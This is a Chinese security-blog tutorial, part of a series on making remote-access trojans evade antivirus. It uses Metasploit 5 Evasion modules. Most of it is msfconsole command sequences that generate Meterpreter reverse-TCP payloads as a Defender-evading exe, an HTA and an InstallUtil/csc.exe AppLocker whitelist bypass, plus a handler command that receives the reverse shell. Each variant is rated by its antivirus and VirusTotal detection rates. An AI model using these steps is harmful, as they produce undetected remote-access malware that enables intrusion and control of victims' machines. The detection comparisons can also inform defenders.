远控免杀专题文章(4)-Evasion模块免杀(VT免杀率12/71)

本专题文章导航

1、远控免杀专题文章(1)-基础篇:https://www.secpulse.com/archives/123295.html

2、远控免杀专题文章(2)-msfvenom隐藏的参数:https://www.secpulse.com/archives/123300.html

3、远控免杀专题文章(3)-msf自带免杀(VT免杀率35/69):https://www.secpulse.com/archives/123315.html

4、远控免杀专题文章(4)-Evasion模块(VT免杀率12/71):本文

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


免杀能力一览表


几点说明:

1、下表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。


前言

2019年1月,metasploit升级到了5.0,引入了一个新的模块叫Evasion模块,官方宣称这个模块可以创建反杀毒软件的木马。

evasion有以下几个模块,可以使用show evasion进行查看。

生成exe(VT查杀率42/71)

使用use windows/windows_defender_exe进行生成payload

msf5 > use windows/windows_defender_exemsf5 evasion(windows/windows_defender_exe) > set filename payload.exemsf5 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcpmsf5 evasion(windows/windows_defender_exe) > set LHOST 10.211.55.3msf5 evasion(windows/windows_defender_exe) > set LPORT 3333msf5 evasion(windows/windows_defender_exe) > run

不打开杀软的情况下,可正常上线

handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

打开杀软,目前已经无法过360和火绒,看网上资料在该模块刚出来时是可以过360的。

virustotal.com中42/71个报毒(前几天测试的时候还是39个...)

生成hta(VT查杀率14/59)

用另外一个evasion模块windows/windows_defender_js_hta生成一下,360同样被杀

但是火绒静态+行为查杀都没发现问题,可正常上线

virustotal.com中14/59个报毒,不过在线查毒时显示360也没查出来,但我本地测试时却是能查出来的,所以在线查杀还是不太精准的。

生成install_util(VT查杀率12/71)

evasion还提供了其他几个模块,比如windows/applocker_evasion_install_util

创建payload

msf5 > use windows/applocker_evasion_install_utilmsf5 evasion(windows/applocker_evasion_install_util) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf5 evasion(windows/applocker_evasion_install_util) > set lhost 10.211.55.2lhost => 10.211.55.2msf5 evasion(windows/applocker_evasion_install_util) > set lport 3333lport => 3333msf5 evasion(windows/applocker_evasion_install_util) > run
[+] install_util.txt stored at /Users/xysoul/.msf4/local/install_util.txt[*] Copy install_util.txt to the target[*] Compile using: C:WindowsMicrosoft.NetFramework[.NET Version]csc.exe /out:install_util.exe install_util.txt[*] Execute using: C:WindowsMicrosoft.NetFramework[.NET Version]InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe

根据说明,需要使用csc.exe进行编译一下,然后用InstallUtil.exe加载文件。

csc.exe是微软.NET Framework 中的C#语言编译器,本机安装了.net后就可以找到该文件。我这里用vs2017里的csc.exe进行编译,生成install_util.exe。

直接执行install_util.exe是没有任何反应的,需要使用InstallUtil.exe /logfile= /LogToConsole=false /U install_util.exe来加载。

注意的是,如果生成的是32位的payload,就要用32位的.net下的InstallUtil来加载,否则文件会无法执行。

静态查杀都没有问题,执行时360行为查杀会报毒。

在virustotal.com中对install_util.exe进行查杀,发现12/71个报毒

小结

在evasion中共提供了6个免杀模块,大家都可以进行尝试。上文中第三个免杀利用csc白名单加载payload的方式还有很多种,网上也有很多介绍,侯亮大神也提到了很多类似的白名单软件。

而且在2019年1月msf5更新的不止evasion模块,还有个更强大的模板编译函数Metasploit::Framework::Compiler,提供了更强大的自定义免杀机制。后面文章会讲述该模块使用。

参考


applocker_evasion_install_util.md:https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/evasion/windows/applocker_evasion_install_util.md

基于白名单Csc.exe执行payload:https://micro8.gitbook.io/micro8/contents-1/71-80/77-ji-yu-bai-ming-dan-csc.exe-zhi-hang-payload-di-qi-ji


本文作者:Ms08067安全实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/123339.html

Tags:
评论  (0)
快来写下你的想法吧!

Ms08067安全实验室

文章数:31 积分: 154

已出版《Web安全攻防》《内网安全攻防》《Python安全攻防》《JAVA代码安全审计(入门篇)》等书

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号